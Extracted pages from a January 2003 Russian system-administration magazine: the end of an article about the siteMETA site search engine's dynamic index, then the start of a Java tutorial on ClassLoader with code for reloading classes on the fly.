вания обхода Сети и индексирования, разрабатываютсяразличные схемы масштабирования, а технологическийцикл – время полного обхода и проверки обрабатываемо-го множества документов – занимает недели. Очевидно,что и наша большая поисковая система обладает темиже свойствами, то есть работает с так называемым ста-тическим индексом.

Статический индекс есть поисковый индекс, которыйне допускает одновременного эффективного выполне-ния операций поиска и изменения, так как оптимизиро-ван для первой задачи – извлечения информации. Сутьоптимизации сводится к размещению блоков на дискетаким образом, чтобы считывать необходимую инфор-мацию за один проход, а также свести к минимуму пози-ционирование считывающих устройств и требования попамяти. Очевидно, что оперативно модифицировать та-кой индекс, имеющий размеры в десятки гигабайт, дапри этом не нарушать его оптимальной организации,практически невозможно.

С другой стороны, даже на небольших объемах инфор-мации, когда время работы технологического цикла дол-жно стремиться к нулю, остается масса проблем. Связа-ны они прежде всего с необходимостью постоянно при-сматривать за деятельностью программ, образующих по-исковую машину, следить, чтобы на дисках было доста-точно свободного места, регулярно переключать исполь-зуемые индексы, что, впрочем, все равно не гарантируетоперативного попадания новых документов в поисковыйиндекс. Да и реалии таковы, что скорее всего переиндек-сирование будет выполняться в лучшем случае раз в сут-ки. Ну какой администратор потерпит, что в его вотчиненепрерывно работает некий процесс!

Именно поэтому мы решили разработать динамическийиндекс. Динамический индексат хоть и менее эффективенпри поиске по большим объемам информации, однако по-зволяет параллельно вести и пополнение (изменение) су-ществующих данных и поиск по ним, что дает возможностьорганизовать не нуждающийся во вмешательстве операто-ра программный сервис, обеспечивающий посетителям ре-сурса в любой момент времени поиск по самой свежей ин-формации вплоть до новостных лент и биржевых сводок.

С другой стороны, разработка новой поисковой машиныпредставлялась занятием весьма расточительным, особен-но при наличии отлаженного и весьма пристойно работаю-щего поисковика. Параллельное же внесение изменений впоисковые и ранжирующие алгоритмы двух параллельныхсистем мы сразу отвергли, так как это повлекло бы за собойфактически удвоение объема работ. Именно поэтому и былопринято решение абстрагировать представление индекса отпоисковых алгоритмов, но так, чтобы не нанести сокруши-тельный удар по эффективности системы в целом.

COM и UNIX? А почему бы и нет!Для решения поставленной задачи была выбрана пара-дигма COM. Конечно, не сама Component Object Model(апологеты UNIX, мы солидарны с вами – не плюйтесь,читайте дальше) – ведь наша система ориентирована нетолько и не столько на Microsoft Windows, сколько на Linuxи FreeBSD, а некоторое подмножество этой парадигмы,

Page 64: 002 Системный Администратор 01 2003

62

программирование

включающее декларацию классов с абстрактными мето-дами и подсчет ссылок для автоматического освобожде-ния памяти. Тем более что именно эта парадигма исполь-зуется в наших разработках для подключения различныхрасширений – модулей языковой поддержки, фильтровспециализированных форматов файлов.

Прежде всего предстояло по лицензионным сообра-жениям отвязать систему от единственного применяемо-го ранее менеджера БД – BerkeleyDB, использовать кото-рый в коммерческих разработках не представляется воз-можным для небольшой украинской компании. Поэтомумы реализовали свой собственный альтернативный ме-неджер БД с использованием libgist, которая распростра-няется абсолютно бесплатно. По ходу разработки, прав-да, сложилось впечатление, что дешевле и быстрее былобы разработать нечто подобное «с нуля», так как ошибкив libgist всплывали достаточно долго, однако компонент,поддерживающий b-tree, был изготовлен и упакован в раз-работанный обобщенный интерфейс. Скажем сразу, чтовсе программные интерфейсы модулей расширения, в томчисле и фильтров форматов, доступны по запросу любо-му зарегистрированному пользователю наших продуктов,в том числе и распространяемых бесплатно.

Индекс здесь, индекс там...После этого мы перешли собственно к индексу. Для нача-ла были выделены основные примитивы, которые могутпонадобиться при разработке приложений, и сформули-рованы их прототипы:! поместить в индекс поисковый образ документа;! отреагировать на обнаруженный новый локатор доку-

мента;! создать курсор, обеспечивающий перебор записей в

БД, и настроить его на извлечение записей по задан-ному поисковому ключу;

! получить условный ранг поискового ключа, вычисляе-мый по соображениям частотности слова в обрабаты-ваемом массиве информации.

Далее и статический, и динамический индексы были«упакованы» в классы, наследующие такой набор функ-ций от базового прототипа, однако полностью скрываю-щие реализацию конкретного индекса.

... Что хранится под замком?Испробовав много вариантов, мы остановились на хра-нении записей динамического индекса в БД типа b-tree,причем ключом каждой записи является сочетание соб-ственно поискового ключа – преобразованной внутрен-ними алгоритмами строки – с идентификатором докумен-та, в котором этот ключ встретился, а данными – допол-нительная информация, описывающая вхождения поис-кового ключа в тело документа. Такая реализация хоть иимеет элемент многократного дублирования данных (иден-тификаторов документов), однако позволяет удалить ин-формацию об одном-единственном документе без реор-ганизации всего индекса. Добавление же новых записейпроисходит и вовсе прозрачно, никак не влияя на парал-лельно ведущийся поиск по индексу.

Будьте проще …После понимания архитектуры программы начались раз-думья над интерфейсом. С одной стороны, хотелось датьмаксимальное количество возможностей для управлениясистемой, а с другой – нам были известны истории о не-удачах при установке того или иного локального поискови-ка и жалобы на сложность администрирования, раздаю-щиеся на многих форумах. Поэтому решено было делатьпрограмму насколько возможно простой, в духе «быстрогостарта», чтобы от начала установки до обработки первогозапроса проходило не более нескольких минут, а минималь-ные настройки системы были сокращены до задания стар-тового адреса и масок интересующих страниц. Надо ска-зать, нам это удалось – уже через несколько секунд послестарта сервиса первые документы можно найти! После тогокак система «зажила» на сервере, администратор при на-личии желания и времени может заняться более тонкиминастройками, о которых мы расскажем далее.

И вот что получилось...В результате получилась программа, состоящая из трехосновных модулей: собственно поискового сервиса, веб-интерфейса и административной консоли.

Поисковый сервис параллельно выполняет индексиро-вание и поиск документов на веб-сервере. После уста-новки siteMETA он опрашивает страницы сайта, начинаяобход с одного или нескольких стартовых адресов. Каж-дая извлеченная страница добавляется в поисковый ин-декс, после чего сразу становится доступной для поиска.Следующие страницы для индексирования поисковый сер-вис получает, анализируя ссылки на обработанных. Сер-вис работает в фоновом режиме. Новые или изменивши-еся страницы автоматически добавляются в индекс.

Веб-интерфейс связывает веб-сервер с поисковым сер-висом. Он передает запрос поисковику и после его обра-ботки формирует страницу выдачи результатов. Найден-ные документы упорядочиваются по степени соответствиязапросу; при этом учитывается порядок слов в докумен-те, расстояние между ними, форма слова и форматиро-вание документа.

Административная консоль предназначена для управ-ления поисковым сервисом. Она позволяет задать спи-сок стартовых адресов и интенсивность индексации сай-та, указать, какие каталоги и типы файлов подлежат об-работке, наложить запрет на индексирование отдельныхдокументов или целых групп.

НастройкиНастройка поискового сервиса через административнуюконсоль не является единственным способом управленияпоиском. Более тонкая настройка может осуществляться припомощи конфигурационных файлов. Так, для поисковогосервера можно настраивать порты, пути к лог-файлу, спис-ку стартовых адресов и масок, время ожидания при индек-сации документов, время между циклами переиндексации,поддержку wildcard-символов и т. п. Для CGI-скрипта, фор-мирующего поисковый запрос и страницу выдачи резуль-татов поиска, можно задать путь к файлу-шаблону страни-цы результатов и сообщений об ошибках, количество до-

Page 65: 002 Системный Администратор 01 2003

63№1(2), январь 2003

программирование

кументов, отображаемых на ответных страницах, и т. д.Администратор, не гнушающийся веб-дизайном, мо-

жет настроить по своему усмотрению внешний вид стра-ницы результатов поиска. Стандартные шаблоны входятв комплект поставки программы, и их можно легко моди-фицировать в соответствии со своими требованиями, илиже сделать свой шаблон.

Не web-ом единым...Сейчас довольно распространенной практикой становит-ся размещение на страницах сервера документов в са-мых различных электронных форматах. Отчеты, прайс-листы, сводки, договора, пресс-релизы – вот далеко неполный перечень того, что все чаще попадает на сайт безпредварительной подготовки и верстки в HTML. Почемубы поисковой системе не обрабатывать и эти данные?Фильтры форматов могут быть легко дополнены вsiteMETA, что позволяет работать не только с html-доку-ментами, но и с документами наиболее популярных офис-ных пакетов, таких как Microsoft Word, Microsoft Excel инекоторых других. В настоящее время доступны фильтрыформатов .doc, .xls, .rtf и .xml. Используя эти фильтры, на-пример, можно облегчить жизнь коллегам в своем офи-се, организовав простую корпоративную поисковую сис-тему по документам на внутреннем веб-сайте.

Ты скажи, ты скажи, че те надо…В проекте был учтен опыт обработки протоколов деятель-ности большой поисковой машины. Все сообщения, возни-кающие в процессе работы siteMETA, пишутся в специаль-ный log-файл. Анализ этого файла дает возможность оце-нить поступающие запросы, их частотность, просмотретьсписок и размер обработанных документов, статистикуиндекса, время индексирования и т. п., а также учесть со-общения об ошибках. Данные, получаемые при обработкестатистики пользования поиском по сайту, дают пищу дляразмышлений и улучшений предоставляемых услуг. Так,наиболее частые обращения пользователей к поисковойсистеме позволяют понять, что именно ждут посетители отсайта. Зная это, можно оптимизировать структуру ресур-са, пополняя его или меняя архитектуру: если какой-либозапрос встречается весьма часто, имеет смысл выделитьсоответствующие страницы в специальный раздел или жепоместить ссылку на существующий на первую страницу.Например, после установки поисковой системы на сайт од-ного из банков анализ поисковых запросов показал, чтопользователей очень интересует «облигация». Соответ-ствующий раздел, подробно освещающий эту тему, на сай-те присутствовал, однако находился на четвертом уровневложенности. После размещения ссылки на этот разделна главной странице продажи облигаций возросли!

Таки покажите мне этот таки поиск!После запуска проекта прошло чуть более месяца. За этовремя с сайта загружено около четырех сотен бесплат-ных версий. Коммерческая версия программы установ-лена и успешно работает на нескольких крупных сайтах.

Удачных примеров использования описанного сервисанесколько, однако особо отметить хочется сайт Националь-

ного Банка Украины (www.bank.gov.ua). Сервис здесь обес-печивает поиск по английской и украинской версиям сайта,обрабатывает помимо документов формата html также элек-тронные таблицы Microsoft Excel (.xls) и использует полные(словарные и бессловарные) модули лингвистической под-держки украинского и английского языков. Обрабатываемыйобъем данных – около 50 Мб в пересчете на плоский текст.

Также заслуживает внимания реализация поиска посайту еженедельника “Зеркало недели” (http://www.zerkalo-nedeli.com/). Здесь, наряду с украинским и английскимязыками, поддерживается русская версия ресурса. Обес-печивается поиск по разделам сайта, тексту и названиюстатей, автору, дате; поддерживается поиск по архиву ма-териалов и текущей версии. Объем обрабатываемой ин-формации – около 800 Мб.

Полученные отзывы от пользователей и клиентов бу-дут учтены в следующей версии siteMETA, которая гото-вится к выпуску в январе. Эта версия будет обладать до-полнительными возможностями по сортировке докумен-тов, настройке процесса индексирования и зон поиска.Версия будет обладать возможностью группировки по сай-там, что позволит применять программу пользователям,под чьим присмотром находится сразу несколько ресур-сов, например, провайдерам или дизайн-студиям.

Самую свежую версию программы siteMETA всегдаможно бесплатно загрузить с сайта http://sitemeta.com.

Page 66: 002 Системный Администратор 01 2003

JAVA: МАГИЯОТРАЖЕНИЙ

Часть II. ClassLoader – СКРЫТЫЕ ВОЗМОЖНОСТИ

ДАНИИЛ АЛИЕВСКИЙ

JAVA: МАГИЯОТРАЖЕНИЙ

Page 67: 002 Системный Администратор 01 2003

65№1(2), январь 2003

программирование

java Имя_главного_класса

public static ClassLoader getSystemClassLoader()

java Имя_главного_класса

public static void main(String[] argv)

Самый интригующийкласс мира отраженийВ этой статье речь пойдет о классе java.lang.ClassLoader.Во многих отношениях он заслуживает эпитета «самый».Это самый фундаментальный класс в механизме отраже-ний Java и одновременно самый яркий пример этой тех-нологии. Это, пожалуй, самый необычный модуль не толь-ко в мире Java, но и среди большинства компилируемыхязыков. Это самый низкоуровневый, «глубинный» меха-низм Java, позволяющий вмешиваться практически в ядроJava-машины, причем оставаясь в рамках программиро-вания на Java. Наконец, это один из самых трудных в по-нимании и использовании прикладных классов.

Как следует из названия, класс ClassLoader обеспе-чивает загрузку классов Java. Точнее, обеспечивают егонаследники, конкретные загрузчики классов – самClassLoader абстрактен. Каждый раз, когда загружаетсякакой-либо .class-файл, например, вследствие обращенияк конструктору или статическому методу соответствую-щего класса – на самом деле это действие выполняет одиниз наследников класса ClassLoader.

Существует стандартный вариант реализацииClassLoader – так называемый системный загрузчик клас-сов. Этот загрузчик используется по умолчанию при за-пуске приложений Java командой:

Системный загрузчик классов реализует стандарт-ный алгоритм загрузки из каталогов и JAR-файлов, пе-речисленных в переменной CLASSPATH (переменнойсреды либо параметре «-cp» утилиты «java»), а такжеиз JAR-файлов, содержащих стандартные системныеклассы вроде java.lang.String и входящих в любой ком-плект поставки Java.

Одна из замечательных особенностей языка Java зак-лючается в том, что вы можете реализовать свой соб-ственный загрузчик классов – наследник ClassLoader – ииспользовать его вместо системного.

Наиболее популярный пример применения этой техни-ки – Java-апплеты. Классы Java-апплетов, а также всеклассы, которыми они пользуются, автоматически загру-жаются с Web-сервера благодаря специальному загруз-чику классов, реализованному «внутри» броузера.

Реализуя наследников ClassLoader, вы можете полно-стью контролировать процесс загрузки абсолютно всехJava-классов. Вы можете загружать их из любого источ-ника, скажем, из собственной системы каталогов, не от-раженной в CLASSPATH, из базы данных или из Internet.Вы можете предоставить загрузку стандартных библио-течных классов системному загрузчику, но при этом про-токолировать факт обращения к ним. При желании выдаже можете сконструировать байт-код класса в памятии после этого работать с ним, как с нормальным классом,загруженным из «добропорядочного» .class-файла. Сре-ди компилируемых языков подобные возможности встре-чаются разве что в ассемблере.

Единственное, что вы не можете сделать – создатьновый класс, не располагая его байт-кодом. Каким-либо

образом: загрузив c диска, из Internet, из базы данных илисоздав как-то иначе, – ваш наследник ClassLoader обя-зан получить корректный байт-код класса (образ в памя-ти обычного .class-файла) в виде массива byte[]. Затемего нужно передать специальному стандартному методуClassLoader.defineClass, который «превратит» его в гото-вый класс – объект типа Class.

Ниже мы подробно рассмотрим весь этот механизм ирешим с его помощью практическую задачу – динамичес-кую подгрузку изменившихся версий .class-файлов безперезапуска главной Java-программы. В процессе реше-ния этой задачи мы увидим, как поразительным образомизменится поведение, казалось бы, четко стандартизован-ных конструкций языка Java. С помощью довольно про-стого Java-кода мы изменим сам язык Java, адаптируя егок новым возможностям, которые обеспечиваются нашимвариантом класса ClassLoader.

Как Java загружает классыОсновной способ работы с классом ClassLoader – это ре-ализация наследников от него. Прежде чем переходить крассмотрению этой техники, мы немного поговорим о том,как Java использует загрузчики классов.

Как уже было сказано, в системе всегда существуетпо крайней мере один готовый наследник ClassLoader –системный загрузчик. Его всегда можно получить с помо-щью вызова ClassLoader.getSystemClassLoader() – стати-ческого метода класса ClassLoader, объявленного следу-ющим образом:

Когда вы запускаете приложение Java с помощью стан-дартной команды:

виртуальная машина Java первым делом создает систем-ный загрузчик, загружает с его помощью .class-файла ва-шего главного класса и вызывает статический метод ва-шего класса, соответствующий объявлению:

(или же сообщает об ошибке, не обнаружив такого метода).Java – язык с отложенной загрузкой кода. Первона-

чально загружается только один класс – тот, который пе-редан в качестве параметра утилите «java»1. Как толькокод этого класса обращается к какому-то другому классу(любым способом: вызовом конструктора, обращением кстатическому методу или полю), загружается другойкласс. По мере выполнения кода, загружаются всё новыеи новые классы. Ни один класс не загружается до тех пор,пока в нем не возникнет реальная потребность. (Такое по-ведение заложено в стандартный системный загрузчик.)

Главный класс приложения всегда загружается систем-ным загрузчиком. А какие загрузчики будут использовать-ся для загрузки всех прочих классов?

В Java поддерживается понятие «текущего» загрузчи-

Page 68: 002 Системный Администратор 01 2003

???????????????????????????????????????????

ка классов. Текущий загрузчик – это тот загрузчик клас-сов (экземпляр некоторого наследника ClassLoader), ко-торый загрузил класс, код которого исполняется в дан-ный момент. Каждый класс «помнит» загрузивший егозагрузчик. Загрузчик, загрузивший некоторый класс, все-гда можно узнать, вызвав метод getClassLoader:

у объекта типа Class, соответствующего данному классу.Например, если мы находимся внутри некоторого методакласса MyClass, то вызов MyClass.class.getClassLoader()вернет ссылку на загрузчик, загрузивший этот класс, т.е.загрузивший тот самый байт-код, который выполняет вы-зов «MyClass.class.getClassLoader()».

Когда возникает необходимость загрузить другойкласс вследствие обращения к его конструктору, стати-ческому методу или полю, виртуальная Java-машина ав-томатически обращается к текущему загрузчику классов,о котором «помнит» текущий исполняемый класс. Приэтом другой класс также «запоминает» этот загрузчик вкачестве текущего. Иначе говоря, текущий загрузчик, заг-рузивший данный класс, по умолчанию наследуется всемиклассами, прямо или косвенно вызываемыми из данного.

Так как главный класс приложения обычно загружает-ся системным загрузчиком, то он же используется и длязагрузки всех остальных классов, необходимых приложе-нию. В случае Java-апплета броузер загружает главныйкласс апплета своим собственным загрузчиком (умеющимчитать классы с Web-сервера); в результате тот же самыйзагрузчик используется для загрузки всех вспомогатель-ных классов апплета.

На самом деле наследование текущего загрузчика –лишь поведение по умолчанию. Загрузчик классов мож-но написать и так, что он не будет наследоваться для не-которых классов. В тот момент, когда к загрузчику прихо-дит запрос «выдать класс по заданному имени», он мо-жет передать этот запрос какому-нибудь другому загруз-чику. Тогда данный класс и другие классы, вызываемыеиз него, будут загружаться новым загрузчиком. Напри-мер, специальный загрузчик, реализуемый броузером длязагрузки классов апплетов, вполне может «передать своиполномочия» системному загрузчику, когда дело касает-ся стандартного системного класса вроде java.lang.String.

Стандартный способ загрузить некоторый класс заг-рузчиком, отличным от текущего – специальная версиястатического метода Class.forName:

В качестве name передается полное имя класса (с указа-нием пакета), в качестве loader – требуемый загрузчик. Нестоль очевидный (и не столь важный) параметр initialize уп-равляет инициализацией класса, т.е. установкой значенийвсех static-полей класса и исполнением кода в секциях:

Если initialize содержит true, то инициализация проис-ходит немедленно, в противном случае – откладываетсядо первого обращения к любому конструктору, статичес-кому методу или полю этого класса.

Более простая форма метода Class.forName, о кото-рой шла речь в первой части статьи («Основы», журнал«Системный администратор» №1, октябрь 2002г.)

всегда использует текущий загрузчик классов. На самомделе, вызов

эквивалентен вызову

где Текущий_класс – имя класса, внутри которого содер-жится данный вызов.

Загрузив класс, можно создать его экземпляр иливызвать статический метод средствами отражений.(Техника работы с классом через отражения была под-робно описана в первой части статьи.) Дальше этоткласс может обычными средствами языка Java обра-щаться к другим классам – для них будет вызван тотже самый загрузчик loader (либо какие-то другие заг-рузчики, если реализация loader в какой-то момент «ре-шит» передать управление другому загрузчику). Про-стейший пример:

Конструктор без параметров класса Имя_класса мо-жет стартовать поток (Thread), решающий некоторуюсложную задачу. Все классы, необходимые этой задаче,будут загружены указанным загрузчиком.

Обзор класса ClassLoaderПеред тем как переходить к нашей основной задаче – ре-ализации наследников класса ClassLoader – давайте по-смотрим, какие методы предоставляет этот класс. Какобычно, мы рассмотрим только наиболее важные из них.Полный список можно найти в документации фирмы Sun.

Один из методов ClassLoader мы уже рассматривали.Это статический метод, возвращающий ссылку на стан-дартный системный загрузчик.

Среди прочих методов самый «бросающийся в глаза» –

Этот метод загружает класс с заданным именем. На са-мом деле его реализация сводится к вызову другогоprotected-метода:

66

программирование

public ClassLoader getClassLoader()

static { ...}

Class.forName(name,true, Текущий_класс.class.getClassLoader())

Class.forName(name)

public static Class forName(String className)

public Class loadClass(String name)

public static Class forName(String name, boolean initialize, ClassLoader loader)

Class clazz= Class.forName("Имя_класса",true,Мой_нестандартный_загрузчик);

clazz.newInstance(); // создаем экземпляр класса

Page 69: 002 Системный Администратор 01 2003

67№1(2), январь 2003

программирование

protected synchronized Class loadClass(String name,boolean resolve)

public URL getResource(String name)public InputStream getResourceAsStream(String name)public final Enumeration getResources(String name)public static URL getSystemResource(String name)public static InputStream getSystemResourceAsStream(

String name)public static Enumeration getSystemResources(String name)

Как можно догадаться, переопределение этого protected-метода – один из основных способов реализовать соб-ственный загрузчик классов.

Я не знаю, почему метод loadClass(String name) объяв-лен как public. Ведь уже существует стандартный способзагрузки класса по имени, с помощью произвольного заг-рузчика – вызов

(Классы Class и ClassLoader расположены в общемпакете – так что метод loadClass(String name) вполне могбы быть protected. Это не помешало бы методуClass.forName его вызвать.)

Может быть, раз уж loadClass – public-метод, то вместоClass.forName(«Имя_класса»,true,loader) можно пользовать-ся прямым обращением loader.loadClass(«Имя_класса») ?

Судя по всему, следует все же всегда использоватьвызов Class.forName. Хотя это совершенно неочевидно издокументации. Несколько позже мы увидим, что методClass.forName выполняет с классом некоторые дополни-тельные действия, в частности, кэширует его, обеспечи-вая, в отличие от прямого вызова loadClass, стабильнуюработу даже при недостаточно аккуратной реализациизагрузчика loader.

Есть также группа методов, предназначенных для заг-рузки ресурсов:

Это более полный аналог методов getResource иgetResourceAsStream класса Class, рассмотренных впервой части статьи. На самом деле методыClass.getResource и Class.getResourceAsStream как разобращаются к соответствующим методам текущего заг-рузчика, загрузившего данный класс. Главное отличиеметодов работы с ресурсами класса ClassLoader – аб-солютные пути. Путь к ресурсу отсчитывается не от ка-талога, содержащего данный class-файл (как в случаеClass.getResource и Class.getResourceAsStream), а отодного из каталогов, указанных в переменнойCLASSPATH.

Обратите внимание: названия методовgetSystemResource, getSystemResourceAsStream,getSystemResources вовсе не означают, что загружают-ся какие-то особые «системные» ресурсы. Слово«System» в этих названиях говорит о том, что для заг-рузки ресурсов будет в любом случае использоватьсястандартный системный загрузчик.

В сущности, это практически все. Любая реализацияClassLoader должна обеспечивать работоспособность пе-речисленных методов.

Ставим задачу:перезагрузка классов «на лету»Мы приступаем к самой интересной части – реализациисвоего наследника абстрактного класса ClassLoader.

Обычно в книгах по языку Java реализациюClassLoader рассматривают на примере загрузки .class-файлов из какого-либо нестандартного источника, напри-мер, каталога, не указанного в переменной CLASSPATH.Такой пример достаточно прост, но, на мой взгляд, неочень интересен. В большинстве ситуаций поиск .class-файлов в путях, перечисленных в CLASSPATH, – вполненормальное решение. Загрузка же из принципиально иныхисточников типа Internet вряд ли будет полезна вне кон-текста куда более сложной задачи, включающей такиевопросы, как политика безопасности или кэшированиезагруженных файлов на локальном диске.

Мы попробуем решить другую задачу.Предположим, разрабатывается большая программа

на Java. По каким-либо причинам эту программу нежела-тельно часто перезагружать: останавливать и запускатьснова. Например, это может быть сложная серверная про-грамма, каждую секунду обслуживающая многих клиен-тов, для которой даже сравнительно кратковременнаянеработоспособность является критичной. Или простопрограмма настолько «тяжелая», что полный ее переза-пуск требует несколько минут, и часто перезапускать еекрайне неудобно.

В то же время программа постоянно развивается. Со-здаются новые независимые блоки, переписываются иотлаживаются старые. Возможно, программа «умеет»исполнять сторонние классы, разработанные пользовате-лями (как делать такие вещи с помощью отражений, рас-сказывалось в первой части статьи). В таких условияхвозникает естественное желание, чтобы подключениеновых классов или новых версий старых классов не тре-бовало полной остановки и перезапуска программы.

Что касается действительно новых классов – тут про-блем нет. Вы вольны в любой момент скомпилироватьновый класс с новым уникальным именем – даже когдапрограмма уже запущена. Если ваша программа послеэтого выполнит вызов Class.forName(name) с этим име-нем (например, в результате автоматического сканиро-вания каталогов поиска CLASSPATH в поисках новых.class-файлов), то этот класс будет успешно подключен,и программа сможет им пользоваться.

Что касается версий .class-файлов – тут все значитель-но хуже. Однажды обратившись к некоторому классу,стандартный системный загрузчик запомнит его в своемвнутреннем кэше и будет всегда использовать именно его.Никакие последующие перекомпиляции .class-файла идаже физическое удаление этого файла не отразятся наработе этого класса. Насколько я знаю, никакими сила-ми, кроме полного перезапуска программы (т.е. всей вир-туальной машины Java), нельзя заставить системный заг-рузчик «забыть» тот байт-код класса, который он однаж-ды загрузил.

Если вы когда-нибудь разрабатывали и отлаживалиапплеты, возможно вы сталкивались с неприятной осо-бенностью броузеров: не учитывать изменения в переком-

Class.forName("Имя_класса",true,loader)

64-77.p65 18.12.02, 19:2467

Page 70: 002 Системный Администратор 01 2003

66

программирование

public ClassLoader getClassLoader()

static { ...}

Class.forName(name,true, Текущий_класс.class.getClassLoader())

Class.forName(name)

public static Class forName(String className)

public Class loadClass(String name)

public static Class forName(String name, boolean initialize, ClassLoader loader)

public static ClassLoader getSystemClassLoader()

ка классов. Текущий загрузчик – это тот загрузчик клас-сов (экземпляр некоторого наследника ClassLoader), ко-торый загрузил класс, код которого исполняется в дан-ный момент. Каждый класс «помнит» загрузивший егозагрузчик. Загрузчик, загрузивший некоторый класс, все-гда можно узнать, вызвав метод getClassLoader:

у объекта типа Class, соответствующего данному классу.Например, если мы находимся внутри некоторого методакласса MyClass, то вызов MyClass.class.getClassLoader()вернет ссылку на загрузчик, загрузивший этот класс, т.е.загрузивший тот самый байт-код, который выполняет вы-зов «MyClass.class.getClassLoader()».

Когда возникает необходимость загрузить другойкласс вследствие обращения к его конструктору, стати-ческому методу или полю, виртуальная Java-машина ав-томатически обращается к текущему загрузчику классов,о котором «помнит» текущий исполняемый класс. Приэтом другой класс также «запоминает» этот загрузчик вкачестве текущего. Иначе говоря, текущий загрузчик, заг-рузивший данный класс, по умолчанию наследуется всемиклассами, прямо или косвенно вызываемыми из данного.

Так как главный класс приложения обычно загружает-ся системным загрузчиком, то он же используется и длязагрузки всех остальных классов, необходимых приложе-нию. В случае Java-апплета броузер загружает главныйкласс апплета своим собственным загрузчиком (умеющимчитать классы с Web-сервера); в результате тот же самыйзагрузчик используется для загрузки всех вспомогатель-ных классов апплета.

На самом деле наследование текущего загрузчика –лишь поведение по умолчанию. Загрузчик классов мож-но написать и так, что он не будет наследоваться для не-которых классов. В тот момент, когда к загрузчику прихо-дит запрос «выдать класс по заданному имени», он мо-жет передать этот запрос какому-нибудь другому загруз-чику. Тогда данный класс и другие классы, вызываемыеиз него, будут загружаться новым загрузчиком. Напри-мер, специальный загрузчик, реализуемый броузером длязагрузки классов апплетов, вполне может «передать своиполномочия» системному загрузчику, когда дело касает-ся стандартного системного класса вроде java.lang.String.

Стандартный способ загрузить некоторый класс заг-рузчиком, отличным от текущего – специальная версиястатического метода Class.forName:

В качестве name передается полное имя класса (с указа-нием пакета), в качестве loader – требуемый загрузчик. Нестоль очевидный (и не столь важный) параметр initialize уп-равляет инициализацией класса, т.е. установкой значенийвсех static-полей класса и исполнением кода в секциях:

Если initialize содержит true, то инициализация проис-ходит немедленно, в противном случае – откладываетсядо первого обращения к любому конструктору, статичес-кому методу или полю этого класса.

Более простая форма метода Class.forName, о кото-рой шла речь в первой части статьи («Основы», журнал«Системный администратор» №1, октябрь 2002г.)

всегда использует текущий загрузчик классов. На самомделе, вызов

эквивалентен вызову

где Текущий_класс – имя класса, внутри которого содер-жится данный вызов.

Загрузив класс, можно создать его экземпляр иливызвать статический метод средствами отражений.(Техника работы с классом через отражения была под-робно описана в первой части статьи.) Дальше этоткласс может обычными средствами языка Java обра-щаться к другим классам – для них будет вызван тотже самый загрузчик loader (либо какие-то другие заг-рузчики, если реализация loader в какой-то момент «ре-шит» передать управление другому загрузчику). Про-стейший пример:

Конструктор без параметров класса Имя_класса мо-жет стартовать поток (Thread), решающий некоторуюсложную задачу. Все классы, необходимые этой задаче,будут загружены указанным загрузчиком.

Обзор класса ClassLoaderПеред тем как переходить к нашей основной задаче – ре-ализации наследников класса ClassLoader – давайте по-смотрим, какие методы предоставляет этот класс. Какобычно, мы рассмотрим только наиболее важные из них.Полный список можно найти в документации фирмы Sun.

Один из методов ClassLoader мы уже рассматривали.Это статический метод, возвращающий ссылку на стан-дартный системный загрузчик.

Среди прочих методов самый «бросающийся в глаза» –

Этот метод загружает класс с заданным именем. На са-мом деле его реализация сводится к вызову другогоprotected-метода:

Class clazz= Class.forName("Имя_класса",true,Мой_нестандартный_загрузчик);

clazz.newInstance(); // создаем экземпляр класса

Page 71: 002 Системный Администратор 01 2003

69№1(2), январь 2003

программирование

protected final Class defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

import java.io.*;public class DynamicClassOverloader extends ClassLoader { private java.util.Map classesHash= new java.util.HashMap();

public final String[] classPath; public DynamicClassOverloader(String[] classPath) { // Набор путей поиска - аналог переменной CLASSPATH this.classPath= classPath; } protected synchronized Class loadClass(String name,

boolean resolve) throws ClassNotFoundException { Class result= findClass(name); if (resolve) resolveClass(result); return result; } protected Class findClass(String name) throws ClassNotFoundException { Class result= (Class)classesHash.get(name); if (result!=null) {

/* System.out.println("% Class "+name +" found in cache"); /*

return result; } File f= findFile(name.replace('.','/'),".class");

// Класс mypackage.MyClass следует искать // файле mypackage/MyClass.class

/* System.out.println("% Class "+name +(f==null?"":" found in "+f)); /* if (f==null) {

return findSystemClass(name);// Обращаемся к системному загрузчику в случае неудачи.// findSystemClass - это метод абстрактного класса// ClassLoader с объявлением// protected final Class findSystemClass(String name)// (т.е. предназначенный для использования// в наследниках и не подлежащий переопределению).// Он выполняет поиск и загрузку класса по// алгоритму системного загрузчика. Без вызова// "findSystemClass(name)" нам пришлось бы// самостоятельно позаботиться о загрузке всех// стандартных библиотечных классов типа// java.lang.String, что потребовало бы// реализовать работу с JAR-архивами// (стандартные библиотеки почти всегда упакованы в JAR) }

try { byte[] classBytes= loadFileAsBytes(f); result= defineClass(name,

classBytes,0,classBytes.length); } catch (IOException e) { throw new ClassNotFoundException( "Cannot load class "+name+": "+e); } catch (ClassFormatError e) { throw new ClassNotFoundException( "Format of class file incorrect for class "

+name+": "+e); } classesHash.put(name,result); return result; } protected java.net.URL findResource(String name) { File f= findFile(name,""); if (f==null) return null; try { return f.toURL(); } catch(java.net.MalformedURLException e) { return null; } } private File findFile(String name, String extension) { // Поиск файла с именем name и, возможно, расширением // extension в каталогах поиска, заданных параметром // конструктора classPath. Имена подкаталогов в name // разделяются символом '/' � даже если в операционной // системе принят другой разделитель для подкаталогов. // (Именно в таком виде получает свой параметр метод // findResource.) for (int k=0; k<classPath.length; k++) { File f= new File((new File(classPath[k])).getPath() +File.separatorChar +name.replace('/',File.separatorChar)+extension); if (f.exists()) return f; } return null; }

public static byte[] loadFileAsBytes(File file) throws IOException { byte[] result= new byte[(int)file.length()]; FileInputStream f= new FileInputStream(file); try { f.read(result,0,result.length); } finally { try { f.close(); } catch (Exception e) {

// Игнорируем исключения, возникшие при вызове// close. Они крайне маловероятны и не очень// важны - файл уже прочитан. Но если они все// же возникнут, то они не должны замаскировать// действительно важные ошибки, возникшие при// вызове read.

}; } return result; } }

public class TestModule {

байтов специальный «магический» метод defineClass:

Это как раз то самое место, где цепочка байтов – об-раз .class-файла (фрагмент массива b длины len по сме-щению off) – «чудесным образом» превращается в гото-вый к использованию класс. Метод defineClass, как и сле-довало ожидать, реализован в native-коде. Именно он по-мещает байт-код класса в недра виртуальной машины,где он приобретает вид, пригодный для непосредствен-ного исполнения на конкретной аппаратной платформе, вчастности, компилируется в машинный код процессорадля более быстрого исполнения (так называемая техно-логия Just-In-Time, сокращенно JIT-компиляция).

